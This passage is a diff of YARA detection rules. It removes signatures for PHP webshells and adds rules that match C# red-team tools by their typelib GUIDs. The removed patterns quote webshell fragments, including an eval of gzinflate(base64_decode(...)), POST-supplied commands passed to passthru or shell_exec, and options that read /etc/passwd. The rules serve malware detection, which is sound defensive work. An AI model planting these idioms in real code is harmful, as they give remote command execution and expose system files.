+		$typelibguid0up = "76435F79-F8AF-4D74-8DF5-D598A551B895" ascii wide
+		$typelibguid1lo = "5a3fc840-5432-4925-b5bc-abc536429cb5" ascii wide
+		$typelibguid1up = "5A3FC840-5432-4925-B5BC-ABC536429CB5" ascii wide
+		$typelibguid2lo = "6f0bbb2a-e200-4d76-b8fa-f93c801ac220" ascii wide
+		$typelibguid2up = "6F0BBB2A-E200-4D76-B8FA-F93C801AC220" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_B374K_Mini_Shell_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Aresskit : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file b374k-mini-shell-php.php.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d5b0dfa5-46b5-5323-a8e8-b119d8c2c8e5"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5677-L5690"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "afb88635fbdd9ebe86b650cc220d3012a8c35143"
-		logic_hash = "553bd775d9662f9410d9ab946ccffe4b2ee92e367bcc6345fa595527653280cf"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8265cd84-c8e7-5654-9d3a-774dab52d938"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/BlackVikingPro/aresskit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1813-L1827"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d0a1c7000c4018ba3c7405e310cfddea8795745216467dfb79379af521889cc6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@error_reporting(0);" fullword
-		$s2 = "@eval(gzinflate(base64_decode($code)));" fullword
-		$s3 = "@set_time_limit(0); " fullword
+		$typelibguid0lo = "8dca0e42-f767-411d-9704-ae0ba4a44ae8" ascii wide
+		$typelibguid0up = "8DCA0E42-F767-411D-9704-AE0BA4A44AE8" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Sincap_1_0
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_DLL_Injector : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Sincap 1.0.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "38d39739-660f-596d-a297-1f0dfe530797"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5691-L5706"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9b72635ff1410fa40c4e15513ae3a496d54f971c"
-		logic_hash = "0cb8851285bd55b0b613ec4c46ab88142e2cbba7e527ad510b008cfb342af221"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "301e70f4-89ed-539c-b7f3-9fc6ae1393b3"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/tmthrgd/DLL-Injector"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1829-L1845"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45f63db2fbb807ecab8ebc91bc3ba781f145c60d8e84afd7ea07c57d5aa7bb41"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "</font></span><a href=\"mailto:shopen@aventgrup.net\">" fullword
-		$s5 = "<title>:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) B" fullword
-		$s9 = "</span>Avrasya Veri ve NetWork Teknolojileri Geli" fullword
-		$s12 = "while (($ekinci=readdir ($sedat))){" fullword
-		$s19 = "$deger2= \"$ich[$tampon4]\";" fullword
+		$typelibguid0lo = "4581a449-7d20-4c59-8da2-7fd830f1fd5e" ascii wide
+		$typelibguid0up = "4581A449-7D20-4C59-8DA2-7FD830F1FD5E" ascii wide
+		$typelibguid1lo = "05f4b238-25ce-40dc-a890-d5bbb8642ee4" ascii wide
+		$typelibguid1up = "05F4B238-25CE-40DC-A890-D5BBB8642EE4" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_B374K_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Trufflesnout : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file b374k.php.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "73eb7d8d-14bb-5bc2-90b2-90b6bd603bd1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5707-L5722"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "04c99efd187cf29dc4e5603c51be44170987bce2"
-		logic_hash = "f44ecdcf327cf417a90a91c8d23f6137b80c2006bea2ca2e214f2bfdf5793771"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8135d39e-6a9e-567d-840f-8d8c6338cce1"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/dsnezhkov/TruffleSnout"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1847-L1861"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5c3a69776d1c1f2503b85e410eef83067e178c22e08dcefdecbe73040bf1d737"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "// encrypt your password to md5 here http://kerinci.net/?x=decode" fullword
-		$s6 = "// password (default is: b374k)"
-		$s8 = "//******************************************************************************"
-		$s9 = "// b374k 2.2" fullword
-		$s10 = "eval(\"?>\".gzinflate(base64_decode("
+		$typelibguid0lo = "33842d77-bce3-4ee8-9ee2-9769898bb429" ascii wide
+		$typelibguid0up = "33842D77-BCE3-4EE8-9EE2-9769898BB429" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Simattacker___Vrsion_1_0_0___Priv8_4_My_Friend
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Anti_Analysis : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3e0bae7d-77a1-5439-bbe7-177bec23cea0"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5723-L5740"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6454cc5ab73143d72cf0025a81bd1fe710351b44"
-		logic_hash = "63ebb0c673a5aee05d2d9d571ebf63942d826b5148a5f7ed587ba1efbb0dc923"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "bd527841-065e-57e9-b70e-c9d232072f1b"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Anti-Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1863-L1877"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "60d7b68aabc6819c8bbc3adfa069f624df4ba3fecd7548841a8cd2f4415fd1a7"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br>" fullword
-		$s5 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
-		$s10 = "<a style=\"TEXT-DECORATION: none\" href=\"http://www.simorgh-ev.com\">" fullword
-		$s16 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
-		$s17 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
-		$s19 = "$Comments=$_POST['Comments'];" fullword
-		$s20 = "Victim Mail :<br><input type='text' name='to' ><br>" fullword
+		$typelibguid0lo = "3092c8df-e9e4-4b75-b78e-f81a0058a635" ascii wide
+		$typelibguid0up = "3092C8DF-E9E4-4B75-B78E-F81A0058A635" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_H4Ntu_Shell__Powered_By_Tsoi_
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Backnet : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file h4ntu shell [powered by tsoi].php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5a12a025-6497-545a-8da0-423ef448e374"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5741-L5757"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cbca8cd000e705357e2a7e0cf8262678706f18f9"
-		logic_hash = "da5994e3278278920d3e4774850d9b05f0244d2af03d0de92d1466f6f87ca3eb"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "91824d18-f46b-5b95-b650-4d710d711cf9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/valsov/BackNet"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1879-L1899"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f1814ad6f6f96f9a9efc6d684c4e19203d84b191c0eef801c18f5b67787892bb"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s11 = "<title>h4ntu shell [powered by tsoi]</title>" fullword
-		$s13 = "$cmd = $_POST['cmd'];" fullword
-		$s16 = "$uname = posix_uname( );" fullword
-		$s17 = "if(!$whoami)$whoami=exec(\"whoami\");" fullword
-		$s18 = "echo \"<p><font size=2 face=Verdana><b>This Is The Server Information</b></font>"
-		$s20 = "ob_end_clean();" fullword
+		$typelibguid0lo = "9fdae122-cd1e-467d-a6fa-a98c26e76348" ascii wide
+		$typelibguid0up = "9FDAE122-CD1E-467D-A6FA-A98C26E76348" ascii wide
+		$typelibguid1lo = "243c279e-33a6-46a1-beab-2864cc7a499f" ascii wide
+		$typelibguid1up = "243C279E-33A6-46A1-BEAB-2864CC7A499F" ascii wide
+		$typelibguid2lo = "a7301384-7354-47fd-a4c5-65b74e0bbb46" ascii wide
+		$typelibguid2up = "A7301384-7354-47FD-A4C5-65B74E0BBB46" ascii wide
+		$typelibguid3lo = "982dc5b6-1123-428a-83dd-d212490c859f" ascii wide
+		$typelibguid3up = "982DC5B6-1123-428A-83DD-D212490C859F" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Myshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Allthethings : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file MyShell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5758-L5776"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "42e283c594c4d061f80a18f5ade0717d3fb2f76d"
-		logic_hash = "2c39ffecb44ce2f936ba3563c6086d8b2ed75aec3b57b45e2a1f5e7321ac9a3f"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "c35160cb-ad31-5195-a7c6-0af91a58737d"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/johnjohnsp1/AllTheThings"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1901-L1915"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "09836251d75327ef547451024ffed76de8cf41ce027fbf40db0cac44f74d46d5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "<title>MyShell error - Access Denied</title>" fullword
-		$s4 = "$adminEmail = \"youremail@yourserver.com\";" fullword
-		$s5 = "//A workdir has been asked for - we chdir to that dir." fullword
-		$s6 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
-		$s13 = "#$autoErrorTrap Enable automatic error traping if command returns error." fullword
-		$s14 = "/* No work_dir - we chdir to $DOCUMENT_ROOT */" fullword
-		$s19 = "#every command you excecute." fullword
-		$s20 = "<form name=\"shell\" method=\"post\">" fullword
+		$typelibguid0lo = "0547ff40-5255-42a2-beb7-2ff0dbf7d3ba" ascii wide
+		$typelibguid0up = "0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Pws
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Addreferencedotredteam : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file pws.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5777-L5793"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7a405f1c179a84ff8ac09a42177a2bcd8a1a481b"
-		logic_hash = "4b2eeb80200cc5dffa80cddc74f1902c0e8a5d2313d9a20d02eeb99ccb668ec0"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "59299a72-9b7a-5108-81c2-d8f6d2e99b20"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/ceramicskate0/AddReferenceDotRedTeam"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1917-L1931"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "34717e4864a7dc5c21525be09fcfe87da6b18e56b1956e5a34b0a669d8d6ab45"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "if ($_POST['cmd']){" fullword
-		$s7 = "$cmd = $_POST['cmd'];" fullword
-		$s10 = "echo \"FILE UPLOADED TO $dez\";" fullword
-		$s11 = "if (file_exists($uploaded)) {" fullword
-		$s12 = "copy($uploaded, $dez);" fullword
-		$s17 = "passthru($cmd);" fullword
+		$typelibguid0lo = "73c79d7e-17d4-46c9-be5a-ecef65b924e4" ascii wide
+		$typelibguid0up = "73C79D7E-17D4-46C9-BE5A-ECEF65B924E4" ascii wide
 
 	condition:
-		4 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Reader_Asp_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Crypter : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file reader.asp.php.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "80ec18e1-6f41-5188-b2d5-f4228c975fa1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5794-L5808"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "70656f3495e2b3ad391a77d5208eec0fb9e2d931"
-		logic_hash = "6ffda38584b6cdec818af8e09c62bb4a46f40230ffd5c1a68993a91c37f67680"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "484c7a15-7ab2-57d3-848c-0fddff753d52"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Lime-Crypter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1933-L1947"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45a47b8ed17b157e22e6819f08a245aca2930d276b52d781fbbc82bcfb184ab4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "ster\" name=submit> </Font> &nbsp; &nbsp; &nbsp; <a href=mailto:mailbomb@hotmail"
-		$s12 = " HACKING " fullword
-		$s16 = "FONT-WEIGHT: bold; BACKGROUND: #ffffff url('images/cellpic1.gif'); TEXT-INDENT: "
-		$s20 = "PADDING-RIGHT: 8px; PADDING-LEFT: 8px; FONT-WEIGHT: bold; FONT-SIZE: 11px; BACKG"
+		$typelibguid0lo = "f93c99ed-28c9-48c5-bb90-dd98f18285a6" ascii wide
+		$typelibguid0up = "F93C99ED-28C9-48C5-BB90-DD98F18285A6" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Safe_Mode_Bypass_PHP_4_4_2_And_PHP_5_1_2_3
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Browserghost : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "349cf6ac-92b3-59f7-a6e4-c23e69b454c6"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5809-L5826"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "db076b7c80d2a5279cab2578aa19cb18aea92832"
-		logic_hash = "6840af0d9f99277277edce93deb54e9a319c8938169701c89fdeb65207590951"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "adcc5d12-c393-5708-ae0b-a85f2187c881"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/QAX-A-Team/BrowserGhost"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1949-L1965"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f9bdf4881a71c429cf20e7a635f054a4a340f335767cb22ecc8024bcc57e53b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
-		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
-		$s9 = "\".htmlspecialchars($file).\" has been already loaded. PHP Emperor <xb5@hotmail."
-		$s11 = "die(\"<FONT COLOR=\\\"RED\\\"><CENTER>Sorry... File" fullword
-		$s15 = "if(empty($_GET['file'])){" fullword
-		$s16 = "echo \"<head><title>Safe Mode Shell</title></head>\"; " fullword
+		$typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
+		$typelibguid0up = "2133C634-4139-466E-8983-9A23EC99E01B" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them and not pe.is_dll()
 }
-rule SIGNATURE_BASE_Webshell_Liz0Zim_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshot : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b647f529-be81-51ad-b671-84aec410e133"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5827-L5843"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b2b797707e09c12ff5e632af84b394ad41a46fa4"
-		logic_hash = "92bfac3516a448bbb3e78cf8950c6e816bf35d0ae2f3d32bc9b9b2836309999b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9d59cd53-53b1-57db-b391-eee4dd6feec0"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/tothi/SharpShot"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1967-L1981"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "843e7bb327314749a58e3d44356fcd9d7a2c349cb429f5bc593044894f17a15c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "$liz0zim=shell_exec($_POST[liz0]); " fullword
-		$s6 = "$liz0=shell_exec($_POST[baba]); " fullword
-		$s9 = "echo \"<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass E"
-		$s12 = " :=) :</font><select size=\"1\" name=\"liz0\">" fullword
-		$s13 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
+		$typelibguid0lo = "057aef75-861b-4e4b-a372-cfbd8322c8e1" ascii wide
+		$typelibguid0up = "057AEF75-861B-4E4B-A372-CFBD8322C8E1" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_Backdoor_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Offensive__NET : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file php-backdoor.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "65e1305b-4fc7-5885-b3df-92846bb57fe3"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_php_backdoor"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5844-L5860"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b190c03af4f3fb52adc20eb0f5d4d151020c74fe"
-		logic_hash = "4228bcbfff5d7756615347196270f7916843e2aceacc7298610070b8b923381b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b98495fb-0338-5042-a7ce-d117204eb91e"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/mrjamiebowman/Offensive-.NET"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1983-L1997"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c26d29934fe3f7575ce1cd56bcf2571e95d5705bccdb1ca211ca7d46765d0fb4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix" fullword
-		$s6 = "// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombi"
-		$s11 = "if(!isset($_REQUEST['dir'])) die('hey,specify directory!');" fullword
-		$s13 = "else echo \"<a href='$PHP_SELF?f=$d/$dir'><font color=black>\";" fullword
-		$s15 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
+		$typelibguid0lo = "11fe5fae-b7c1-484a-b162-d5578a802c9c" ascii wide
+		$typelibguid0up = "11FE5FAE-B7C1-484A-B162-D5578A802C9C" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Worse_Linux_Shell_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Ruralbishop : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Worse Linux Shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "04ed7464-29d1-54b9-98ff-afc03475b220"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_Worse_Linux_Shell"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5861-L5878"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
